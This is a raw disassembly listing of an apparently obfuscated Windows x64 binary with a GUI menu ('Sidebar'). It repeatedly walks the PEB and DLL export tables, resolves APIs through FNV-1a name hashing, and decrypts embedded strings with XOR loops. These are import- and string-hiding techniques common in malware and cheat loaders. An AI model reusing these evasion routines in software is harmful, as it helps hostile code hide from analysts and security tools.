cmp r8d, 0xcded1a85
je 0x140090f8b
test r9d, r9d
jne 0x140090f40
mov rax, qword [rax]
jmp 0x140090f10
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140091036
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140091036
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140091031
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140091010
cmp r8d, 0xe80fd3a
je 0x14009103b
test r9d, r9d
jne 0x140090ff0
mov rax, qword [rax]
jmp 0x140090fc0
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
xor ecx, ecx
call rdx
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400910e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400910e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400910e1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400910c0
cmp r8d, 0xa52bcaf9
je 0x1400910eb
test r9d, r9d
jne 0x1400910a0
mov rax, qword [rax]
jmp 0x140091070
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov ecx, dword [rcx + rax*4]
add rcx, r10
call rcx
mov dword [0], 0xdead
lea rcx, [rbp + 0x1158]
call fcn.140064f60
mov ebx, dword [reloc.WS2_32.dll_accept]
mov rdi, qword [rbp + 0x78]
mov dword [rbp + 0x610], 0x43700000
mov dword [rbp + 0x614], 0x43b40000
lea rcx, [rbp + 0x610]
call fcn.140025d40
mov qword [rsi + 0xc4], r12
mov dword [rsi + 0xcc], r12d
mov dword [rsi + 0xd0], 0x3f800000
movaps xmm6, xmmword [0x140117080]
movaps xmm7, xmmword [0x14015f2e0]
mov dword [rbp + 0x618], 0x43820000
mov dword [rbp + 0x61c], 0x42200000
movsd xmm0, qword [str.rPQX]
movsd qword [rbp + 0x228], xmm0
mov eax, dword [str.tV_RR]
mov dword [rbp + 0x230], eax
movzx eax, word [0x14015c32c]
mov word [rbp + 0x234], ax
cmp byte [0x14015c32d], 0
je 0x140091310
mov r8d, r12d
cmp ebx, 2
jl 0x1400912ca
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.rPQX]
xorps xmm2, xmm0
movd dword [rbp + 0x228], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x22c]
xorps xmm2, xmm1
movd dword [rbp + 0x22c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x228]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xe
jl 0x1400912e0
movdqa xmmword [rsp + 0x60], xmm6
movdqa xmmword [rsp + 0x50], xmm7
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018d6b8]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d6b0]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d6a8]
xor r8d, r8d
lea rdx, [rbp + 0x618]
lea rcx, [rbp + 0x228]
call fcn.14003fa20
test al, al
je 0x14009137f
mov byte [reloc.WS2_32.dll_accept], 1
mov byte [0x14018e6f9], 0
mov dword [rsi + 0xc4], 0x3f800000
mov dword [rsi + 0xc8], 0x3f800000
mov dword [rsi + 0xcc], 0x3f800000
mov dword [rsi + 0xd0], 0x3f800000
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x620], 0x4432c000
mov dword [rbp + 0x624], 0x40a00000
lea rcx, [rbp + 0x620]
call fcn.140025d40
movaps xmm0, xmmword [0x14015f2d0]
movaps xmm1, xmmword [0x14015f2a0]
mov dword [rbp + 0x628], 0x41a00000
mov dword [rbp + 0x62c], 0x41f00000
movzx eax, word [0x14015c330]
mov word [rbp - 0x7c], ax
cmp byte [0x14015c331], 0
je 0x14009140d
mov byte [rbp - 0x7c], 0x78
xor byte [rbp - 0x7b], 0x31
movdqa xmmword [rsp + 0x60], xmm0
movdqa xmmword [rsp + 0x50], xmm1
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d6d0]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d6c8]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d6c0]
xor r8d, r8d
lea rdx, [rbp + 0x628]
lea rcx, [rbp - 0x7c]
call fcn.14003fec0
test al, al
je 0x14009146a
mov byte [reloc.WS2_32.dll_accept], 0
mov rcx, rdi
call fcn.140025b40
mov dword [rbp + 0x630], 0x44278000
mov dword [rbp + 0x634], 0x43c80000
lea rcx, [rbp + 0x630]
call fcn.140025d40
movaps xmm6, xmmword [0x140117070]
mov dword [rbp + 0x638], 0x42700000
mov dword [rbp + 0x63c], 0x42480000
movsd xmm0, qword [0x14015c338]
movsd qword [rbp + 0x208], xmm0
mov eax, dword [0x14015c340]
mov dword [rbp + 0x210], eax
cmp byte [0x14015c343], 0
je 0x140091630
mov r8d, r12d
cmp ebx, 2
jl 0x1400915ea
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm2, xmmword [0x14011c2a0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
mov eax, dword [str.0000000000000000]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x14015c338]
xorps xmm2, xmm0
movd dword [rbp + 0x208], xmm2
movdqa xmm3, xmmword [0x14015f1e0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x14015f1f0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x20c]
xorps xmm2, xmm1
movd dword [rbp + 0x20c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x208]
add r9, rax
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x140091600
movdqa xmmword [rsp + 0x60], xmm6
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x14018ee18]
mov qword [rsp + 0x28], rax
lea rax, [0x14018ee20]
mov qword [rsp + 0x20], rax
lea r9, [0x14018ee10]
xor r8d, r8d
lea rdx, [rbp + 0x638]
lea rcx, [rbp + 0x208]
call fcn.14003fa20
test al, al
je 0x14009190b
movups xmm0, xmmword [0x14015c348]
movups xmmword [rbp + 0xa60], xmm0
movups xmm1, xmmword [0x14015c358]
movups xmmword [rbp + 0xa70], xmm1
mov eax, dword [0x14015c368]
mov dword [rbp + 0xa80], eax
mov r8d, r12d
cmp ebx, 2
jl 0x140091806
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa64]
mov edx, dword [rsp + 0x50]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140091701
cmp r8d, 0x24
jge 0x140091850
movsxd rax, r8d
lea r9, [rbp + 0xa60]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140091820
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400918e6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400918e6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [r10 + r9*4]
mov edx, dword [rcx + rbx]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400918e1
nop dword [rax]
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400918c0
cmp r8d, 0x491e0a9c
je 0x1400918eb
test r9d, r9d
jne 0x1400918a0
mov rax, qword [rax]
jmp 0x140091870
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xa60]
call rdx
call fcn.140015c00
mov rsi, qword [rbp + 0x640]
call fcn.1400197f0
mov qword [rax + 0xf4], 0x3f800000
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f800000
mov qword [rbp + 0x648], 0
lea rcx, [rbp + 0x648]
call fcn.140025d40
mov dword [rbp + 0x650], 0x43160000
mov dword [rbp + 0x654], 0x43e60000
mov r9d, Ordinal_27
mov r8b, 1
lea rdx, [rbp + 0x650]
lea rcx, str.Sidebar
call fcn.140007fe0
mov dword [rbp + 0x658], 0x41480000
mov dword [rbp + 0x65c], 0x41200000
lea rcx, [rbp + 0x658]
call fcn.140025d40
xorps xmm0, xmm0
movups xmmword [rbp + 0xc80], xmm0
movaps xmm1, xmmword [0x140117080]
movups xmmword [rbp + 0xc90], xmm1
mov dword [rbp + 0x660], 0x3f800000
mov dword [rbp + 0x664], 0x3f800000
mov qword [rbp + 0x668], 0
movd xmm0, dword [rbp + 0x1288]
cvtdq2ps xmm0, xmm0
movss dword [rbp + 0x670], xmm0
movd xmm1, dword [rbp + 0x1290]
cvtdq2ps xmm1, xmm1
movss dword [rbp + 0x674], xmm1
lea rax, [rbp + 0xc80]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xc90]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 0x660]
lea r8, [rbp + 0x668]
lea rdx, [rbp + 0x670]
mov rcx, r13
call fcn.140047240
call fcn.1400197f0
mov rbx, rax
mov dword [rax + 0x94], r12d
mov dword [rax + 0x98], 0x3f000000
mov dword [rbp + 0x288], 0x425c0000
mov dword [rbp + 0x28c], 0x43c80000
lea rcx, [rbp + 0x288]
call fcn.140025d40
mov dword [rbx + 0x224], 0x3d5d2f1b
mov dword [rbx + 0x228], 0x3d5d2f1b
mov qword [rbx + 0x22c], 0x3d5d2f1b
mov dword [rbx + 0xf4], 0x3d5d2f1b
mov dword [rbx + 0xf8], 0x3d5d2f1b
mov qword [rbx + 0xfc], 0x3d5d2f1b
mov qword [rbx + 0x114], 0x3f800000
mov dword [rbx + 0x11c], r12d
mov dword [rbx + 0x120], 0x3f800000
mov qword [rbx + 0x214], r12
mov qword [rbx + 0x21c], r12
movaps xmm0, xmmword [0x140117080]
movups xmmword [rbp + 0xca0], xmm0
xorps xmm1, xmm1
movups xmmword [rbp + 0xcb0], xmm1
mov dword [rbp + 0x290], 0x3f800000
mov dword [rbp + 0x294], 0x3f800000
mov qword [rbp + 0x298], 0
mov dword [rbp + 0x2a0], 0x42140000
mov dword [rbp + 0x2a4], 0x41e00000
lea rax, [rbp + 0xca0]
mov qword [rsp + 0x30], rax
lea rax, [rbp + 0xcb0]
mov qword [rsp + 0x28], rax
mov dword [rsp + 0x20], 1
lea r9, [rbp + 0x290]
lea r8, [rbp + 0x298]
lea rdx, [rbp + 0x2a0]
mov rcx, rsi
call fcn.140047470
mov r14d, dword [reloc.WS2_32.dll_accept]
test al, al
je 0x140091deb
movups xmm0, xmmword [0x14015c370]
movups xmmword [rbp + 0x900], xmm0
movups xmm1, xmmword [0x14015c380]
movups xmmword [rbp + 0x910], xmm1
movzx eax, word [0x14015c390]
mov word [rbp + 0x920], ax
movzx eax, byte [0x14015c392]
mov byte [rbp + 0x922], al
mov r8d, r12d
cmp r14d, 2
jl 0x140091ce5
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x904]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x140091be0
cmp r8d, 0x23
jge 0x140091d30
movsxd rax, r8d
lea r9, [rbp + 0x900]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x23
jl 0x140091d00
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x140091dc6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x140091dc6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x140091dc1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x140091da0
cmp r8d, 0x491e0a9c
je 0x140091dcb
test r9d, r9d
jne 0x140091d80
mov rax, qword [rax]
jmp 0x140091d50
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0x900]
call rdx
mov dword [rbp + 0x2a8], 0x41200000
mov dword [rbp + 0x2ac], 0x43d70000
lea rcx, [rbp + 0x2a8]
call fcn.140025d40
mov r15, qword [rbp + 0x7c8]
mov rcx, r15
call fcn.140025b40
movaps xmm7, xmmword [0x14015f2d0]
mov dword [rbp + 0x2b0], 0x42f40000
mov dword [rbp + 0x2b4], 0x41e00000
movups xmm0, xmmword [0x14015c398]
movups xmmword [rbp + 0x820], xmm0
movsd xmm0, qword [0x14015c3a8]
movsd qword [rbp + 0x830], xmm0
mov eax, dword [0x14015c3b0]
mov dword [rbp + 0x838], eax
movzx eax, word [0x14015c3b4]
mov word [rbp + 0x83c], ax
cmp byte [0x14015c3b5], 0
je 0x140092010
mov r8d, r12d
cmp r14d, 2
jl 0x140091fc5
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x824]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140091ec0
cmp r8d, 0x1e
jge 0x140092010
movsxd rax, r8d
lea r9, [rbp + 0x820]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1e
jl 0x140091fe0
movdqa xmmword [rsp + 0x60], xmm7
movups xmm0, xmmword [0x14018d2e8]
movdqa xmmword [rsp + 0x50], xmm0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x30], rax
lea rax, [0x14018d6e8]
mov qword [rsp + 0x28], rax
lea rax, [0x14018d6e0]
mov qword [rsp + 0x20], rax
lea r9, [0x14018d6d8]
xor r8d, r8d
lea rdx, [rbp + 0x2b0]
lea rcx, [rbp + 0x820]
call fcn.14003fec0
test al, al
je 0x1400922eb
movups xmm0, xmmword [0x14015c3b8]
movups xmmword [rbp + 0xa88], xmm0
movups xmm1, xmmword [0x14015c3c8]
movups xmmword [rbp + 0xa98], xmm1
mov eax, dword [0x14015c3d8]
mov dword [rbp + 0xaa8], eax
mov r8d, r12d
cmp r14d, 2
jl 0x1400921e5
movdqa xmm5, xmmword [0x14011c2a0]
movdqa xmm4, xmmword [0x14015f320]
movdqa xmm6, xmmword [0x14015f1f0]
movdqa xmm0, xmmword [str.0000000000000000]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0xa8c]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x14015f260]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x20
jl 0x1400920e0
cmp r8d, 0x24
jge 0x140092230
movsxd rax, r8d
lea r9, [rbp + 0xa88]
add r9, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x30
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x24
jl 0x140092200
mov rax, qword gs:[0x60]
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x10]
nop dword [rax]
nop word [rax + rax]
mov r10, qword [rax + 0x30]
movsxd rcx, dword [r10 + 0x3c]
mov edi, dword [rcx + r10 + 0x88]
add rdi, r10
cmp rdi, r10
je 0x1400922c6
mov r9d, dword [rdi + 0x18]
test r9d, r9d
je 0x1400922c6
mov ebx, dword [rdi + 0x20]
nop dword [rax]
nop dword [rax + rax]
dec r9d
lea rcx, [rbx + r9*4]
mov edx, dword [rcx + r10]
add rdx, r10
mov r8d, 0x811c9dc5
movzx ecx, byte [rdx]
inc rdx
test cl, cl
je 0x1400922c1
nop
movsx ecx, cl
xor ecx, r8d
imul r8d, ecx, 0x1000193
movzx ecx, byte [rdx]
lea rdx, [rdx + 1]
test cl, cl
jne 0x1400922a0
cmp r8d, 0x491e0a9c
je 0x1400922cb
test r9d, r9d
jne 0x140092280
mov rax, qword [rax]
jmp 0x140092250
mov ecx, dword [rdi + 0x1c]
add rcx, r10
mov eax, dword [rdi + 0x24]
add rax, r10
movzx eax, word [rax + r9*2]
mov edx, dword [rcx + rax*4]
add rdx, r10
lea rcx, [rbp + 0xa88]
call rdx
call fcn.140015c00
mov ecx, 2
call fcn.1400215e0
mov ecx, 1
call fcn.140021690
call fcn.1400156e0
cmp byte [0x14018e6f2], 0
je 0x14009a25c
cmp byte [0x14018e6f8], 0
